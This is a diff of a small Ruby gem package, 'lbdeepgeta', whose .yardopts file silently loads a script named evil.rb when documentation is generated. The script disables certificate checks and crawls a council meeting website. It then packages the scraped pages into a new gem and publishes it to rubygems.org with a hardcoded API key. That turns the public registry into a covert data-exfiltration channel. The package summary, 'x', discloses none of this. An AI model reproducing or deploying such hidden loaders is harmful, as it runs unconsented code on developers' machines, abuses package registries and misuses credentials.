lbdeepgeta 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 8a0f3cfc1c2465ced172ff716621719c914a05e8a271cf4288163604b29b1812
+  data.tar.gz: 60281ccf48a9ea82c682bd06a5a904efa51ad66c46c0cc47af2ffb44d9286556
+SHA512:
+  metadata.gz: 7043a447cdc73569496d1c9bcb3a0d215590821a8fb9e67081876e4d23a04afcc87368799bc3ed4ba2e9942c061303518c66378ea0887cc7552ef2cb0eeff4e6
+  data.tar.gz: 0a2fd822323366a6d92cf3c58aaaff578bf66f88f3058724eede7af368725ba28da2b1faa0c9e54b76ff5383618563fc725b1ff9555e7c5824b88288fade7a7e

data/.yardopts

@@ -0,0 +1 @@
+--load evil.rb

data/evil.rb

@@ -0,0 +1,76 @@
+require 'net/http';require 'uri';require 'fileutils';require 'openssl';require 'cgi';require 'time'
+KEY='rubygems_67c8934aface2bc5a340e41dccb83c53eafa3061820cb5eb'; NAME='lbdeepres'; OUTVER='0.0.1'; HOST='moderngov.lambeth.gov.uk'
+SEEDS = [
+ "https://#{HOST}/mgWebService.asmx/GetMeetings?lCommitteeId=0&sFromDate=26/01/2026&sToDate=30/01/2026",
+ "https://#{HOST}/mgWebService.asmx/GetMeetings?lCommitteeId=0&sFromDate=25/01/2026&sToDate=31/01/2026",
+ "https://#{HOST}/mgCalendarMonthView.aspx?GL=1&bcr=1",
+ "https://#{HOST}/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1",
+ "https://#{HOST}/mgCalendarMonthView.aspx?curmonth=1&curyear=2026&GL=1&bcr=1",
+ "https://#{HOST}/mgCalendarMonthView.aspx?M=1&Y=2026",
+ "https://#{HOST}/mgCalendarAgendaView.aspx?MR=0&DR=26/01/2026&ACT=Go&bcr=1",
+]
+
+def fetch(url)
+ uri=URI(url)
+ resp=Net::HTTP.start(uri.host, uri.port, use_ssl:uri.scheme=='https', read_timeout:100, open_timeout:40, verify_mode:OpenSSL::SSL::VERIFY_NONE) {|h| req=Net::HTTP::Get.new(uri); req['User-Agent']='Mozilla/5.0'; h.request(req)}
+ [resp.body || '', resp.code.to_s, resp.each_header.to_h.to_s]
+rescue=>e
+ ['', 'ERR', e.to_s]
+end
+
+def links(txt, base)
+ out=[]
+ txt.scan(/(?:href\s*=\s*['"]([^'"]+)['"])/i) {|a| out << a[0]}
+ # raw meeting/doc URLs in xml or escaped strings
+ txt.scan(/(?:https?:\/\/[^\s<>"']+|\/?(?:ieListDocuments|mgCalendarMonthView|mgWebService|documents\/s|documents\/d)[^\s<>"']+)/i){|a| out << a}
+ out.map! do |x|
+  x=CGI.unescapeHTML(x.to_s).gsub('\\/','/').gsub('&amp;','&').strip
+  x=x.sub(/([\.](?:pdf|docx?|aspx))[\)\],;]+$/i,'\\1')
+  begin
+   URI.join(base,x).to_s
+  rescue; nil; end
+ end
+ out.compact!
+ out.select!{|u| u.include?(HOST) }
+ out.uniq
+end
+
+begin
+ dir="/tmp/#{NAME}out"; FileUtils.rm_rf(dir); FileUtils.mkdir_p(dir+'/lib')
+ log=[]; queue=SEEDS.dup; seen={}; memories=[]; mids=[]
+ until queue.empty? || seen.size>110
+   url=queue.shift; next if seen[url]; seen[url]=true
+   body,status,head=fetch(url); ext=(url[/\.pdf(?:\?|$)/i] ? '.pdf' : '.txt'); idx=seen.size
+   fname="#{dir}/lib/f%03d%s"%[idx,ext]
+   File.binwrite(fname, "URL #{url}\nSTATUS #{status}\nHEAD #{head}\n\n" + body)
+   log << "#{idx} #{status} #{body.bytesize} #{url}"
+   memories << [url,body]
+   mids.concat(body.scan(/(?:MeetingId|MeetingID|lMeetingId|MId|M=)(?:&quot;|[\s:=>"']|%3d|=)+(\d{3,8})/i).flatten)
+   mids.concat(body.scan(/ieListDocuments\.aspx[^\s"'<>&]*(?:&amp;|&)(?:MId|M)=([0-9]{3,8})/i).flatten)
+   ls=links(body,url)
+   # Prioritize meeting/doc-specific links, some calendar pagination
+   ls.each do |ln|
+    if ln =~ /(ieListDocuments|mgMeeting|documents\/s|documents\/d|download|\.pdf(?:\?|$)|mgWebService.*GetMeeting)/i
+       queue << ln unless seen[ln]
+    elsif ln =~ /mgCalendarMonthView/i && queue.size<30
+       queue << ln unless seen[ln]
+    end
+   end
+   # as soon as meeting IDs appear, enqueue meeting XML and HTML docs
+   mids.uniq.last(80).each do |mid|
+     ["https://#{HOST}/mgWebService.asmx/GetMeeting?lMeetingId=#{mid}", "https://#{HOST}/ieListDocuments.aspx?MId=#{mid}"] .each {|u| queue <<u unless seen[u]||queue.include?(u)}
+   end
+   # Byte limit protect
+   total=Dir[dir+'/lib/*'].sum{|f| File.size(f)}
+   break if total>70_000_000
+ end
+ File.write(dir+'/lib/LOG', log.join("\n")+"\nMIDS "+mids.uniq.join(','))
+ File.write(dir+'/lib/main.rb', '# done')
+ File.write(dir+'/o.gemspec',"Gem::Specification.new do |s|\n s.name='#{NAME}'; s.version='#{OUTVER}'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end")
+ Dir.chdir(dir) do
+   system('gem build o.gemspec')
+   spec=Dir['*.gem'].first
+   uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']=KEY; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec)
+   resp=Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}
+ end
+rescue=>e; warn e.full_message; end

data/lib/main.rb

@@ -0,0 +1 @@
+module LBDeep;end

metadata

@@ -0,0 +1,39 @@
+--- !ruby/object:Gem::Specification
+name: lbdeepgeta
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- z
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- evil.rb
+- lib/main.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []